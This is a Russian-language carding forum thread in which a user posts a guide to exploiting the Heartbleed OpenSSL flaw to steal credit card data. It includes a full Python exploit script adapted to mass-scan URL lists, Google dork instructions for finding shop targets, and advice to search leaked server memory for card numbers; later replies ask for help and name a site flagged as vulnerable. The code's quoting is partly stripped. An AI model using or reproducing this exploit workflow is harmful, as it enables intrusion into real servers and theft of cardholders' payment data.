Скрыть объявление
Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

[ Добываем немного сс ] Heartbleed эксплуатация

Тема в разделе "Хакинг. Программирование", создана пользователем Caligula, 30 авг 2016.

  1. Caligula

    Caligula Member

    День добрый друзья! Знаю, тема немного устарела, но так как много сайтов все еще находятся с этой дыркой и + меня давно просили накатать статью, вот собственно держите.

    1) И так. Определимся с целью эксплуатации. Так как мы все таки находимся на кардинг борде, то думаю инфу, которую мы хотим получить это сс.

    2) Нам нужно где-то взять уязвимые сайта, и чекнуть их на наличае дырки. Так как руками поштучно этого делать нам не хочется, я пришел к такому решению: взять готовый эсплоит и немного переписать его под свои цели, код на питоне ниже.
    Code:
    #!/usr/bin/python



    import sys
    import struct
    import socket
    import time
    import select
    import re
    from optparse import OptionParser

    options = OptionParser(usage=%prog server [options], description=Test for SSL heartbeat vulnerability (CVE-2014-0160))
    options.add_option(-p, --port, type=int, default=443, help=TCP port to test (default: 443))

    def h2bin(x):
    return x.replace( , ).replace(
    , ).decode(hex)

    hello = h2bin(
    16 03 02 00 dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
    00 0f 00 01 01
    )

    hb = h2bin(
    18 03 02 00 03
    01 40 00
    )

    def hexdump(s):
    for b in xrange(0, len(s), 16):
    lin = [c for c in s[b : b + 16]]
    hxdat = .join(%02X % ord(c) for c in lin)
    pdat = .join((c if 32 = ord(c) = 126 else . )for c in lin)
    print %04x: %-48s %s % (b, hxdat, pdat)
    print

    def save_txt(line):
    open(good.txt, a+).write(line)
    return True

    def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata =
    remain = length
    while remain > 0:
    rtime = endtime - time.time()
    if rtime 0:
    return None
    r, w, e = select.select(, [], [], 5)
    if s in r:
    data = s.recv(remain)
    # EOF?
    if not data:
    return None
    rdata += data
    remain -= len(data)
    return rdata


    def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
    print Unexpected EOF receiving record header - server closed connection
    return None, None, None
    typ, ver, ln = struct.unpack(>BHH, hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
    print Unexpected EOF receiving record payload - server closed connection
    return None, None, None
    print ... received message: type = %d, ver = %04x, length = %d % (typ, ver, len(pay))
    return typ, ver, pay

    def hit_hb(s, url):
    s.send(hb)
    while True:
    try:
    typ, ver, pay = recvmsg(s)
    if typ is None:
    print [33[1;31mERROR33[1;m] No heartbeat response received, server likely not vulnerable

    return False

    if typ == 24:
    print Received heartbeat response:
    hexdump(pay)
    if len(pay) > 3:
    print [33[1;32mGOOD33[1;m] WARNING: server returned more data than it should - server is vulnerable!

    save_txt(url + "
    ")
    else:
    print [33[1;32mGOOD33[1;m] Server processed malformed heartbeat, but did not return any extra data.

    save_txt(url + "
    ")
    return True

    if typ == 21:
    print [33[1;31mERROR33[1;m] Received alert: Server returned error, likely not vulnerable

    #hexdump(pay)
    return False
    except:
    print("Error in function: hit_hb()")
    return False

    def main():
    opts, args = options.parse_args()
    if len(args) 1:
    options.print_help()
    return
    urls = open(args[0], r).readlines()
    for _i in range(0, len(urls)):
    try:
    url = urls[_i].replace(http://, ).replace(https://, ).rstrip(
    ).split(/)[0]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("[33[1;32mConnectiong to " + urls[_i].rstrip(
    ) + "33[1;m]")
    sys.stdout.flush()
    s.connect((url, opts.port))
    print Sending Client Hello...
    sys.stdout.flush()
    s.send(hello)
    print Waiting for Server Hello...
    sys.stdout.flush()
    while True:
    typ, ver, pay = recvmsg(s)
    if typ == None:
    print [33[1;31mERROR33[1;m] Server closed connection without sending Server Hello.
    break
    # Look for server hello done message.
    if typ == 22 and ord(pay[0]) == 0x0E:
    break

    print("Sending heartbeat request...")
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s, url)
    except:
    print("Invalid url
    ")

    if __name__ == __main__:
    main()

    Запускаем его так:
    Code:
    python script_name.py txt_file_urls.txt​

    . И после все сайты у которых есть дырка нам запишет в good.txt.
    Так, но вопрос все еще остался, где брать сайты? Берем значит и составляем ручками Google Drokи типа
    Code:
    inurl:https:// shop apple​

    Дорки могут быть разной тематики, можете сами эксперементировать. Далее качаем какой нибудь Google Parser и ебашим, ну либо если вы такойже отбитый как и я - пишете свой собственный парсер.

    Собственно и все. Далее пользуемся эксплоитом на HB и сохраняем логи в текстовик ( если вы хоть немного владеете bash, думаю сами поймете как это сделать)

    После копошимся в логах, ищем сс. Я сделал собственный парсер по регуляркам, но скорее всего выложу его чуть позже.

    (Если понравилась статья, плюс в репу.)
    (с) Caligula специально для любимого club2crd
  2. prox

    prox New Member

    Далее пользуемся эксплоитом на HB (это что? как расшифровать данную абривиатуру?)

    Извини, немного не догнал алгоритм? можно на пальцах? скрипт запустил..ползет либо инвалид урл, либо сервер не уязвим.
    [​IMG]

    как должен выглядеть гудд?
  3. GEO

    GEO Member

    аналогичные вопросы - что делает скрипт так и не понял - ищет в таблицах цц тупо ?
  4. tvoy_drug

    tvoy_drug Member

    напиши еще статью про sql иньекции)
  5. prox

    prox New Member

    в материалах старого борда Нельсон выкладывал свои статьи по скулям, тут чет я не вижу их...

    ТС, ну вот в гуды прилетело - _http://www.horasadcenter.com/ ))) хоть убей не понимаю куда далее.
  6. tvoy_drug

    tvoy_drug Member

    гугли,скриптов куча
  7. prox

    prox New Member

    ок, покажи мастер класс...что нагуглишь

    я не понимаю - пользуемся эксплоитом на HB
  8. Caligula

    Caligula Member

    Если есть вопросы - пишите сюда, завтра допишу статью
  9. Amf

    Amf Member

    Тоже не отказался бы от статьи про sql injection

Поделиться этой страницей